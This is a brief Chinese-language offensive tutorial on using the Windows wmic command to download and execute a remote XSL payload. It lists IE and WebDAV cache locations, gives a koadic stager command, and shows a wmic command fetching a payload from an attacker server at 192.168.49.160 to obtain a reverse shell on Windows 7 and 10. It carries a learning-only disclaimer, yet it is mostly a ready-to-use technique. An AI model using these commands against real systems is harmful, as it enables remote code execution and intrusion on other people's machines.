Windows文件传输及执行—wmic

声明：本文介绍的内容仅用于学习和研究目的，请勿用做非法用途。
 取决于Windows系统的版本，通过HTTP下载的文件缓存位置为IE的本地缓存，在下面的路径之一：

• C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
• C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>

使用指向WebDav服务器的UNC路径下载的文件将保存在WebDAV客户端本地缓存：

• C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

 在使用UNC路径下载payload时，需要WebClient 服务启动，如果没有启动，可在命令行前面加上pushd \\webdavserver & popd命令。

Wmic下载&执行

 Windows的wmic命令也支持远程下载文件并执行，基本命令格式如下：

wmic os get /format:"https://webserver/payload.xsl"

网络调用进程：wmic.exe，payload位置：IE local cache。
服务端使用koadic的wmic payload：

use stager/js/wmic

配置完服务端后，在目标主机cmd提示符下执行：

wmic os get /FORMAT:http://192.168.49.160:9996/pzzTv.xsl

在win7和win10测试，都可成功反弹shell：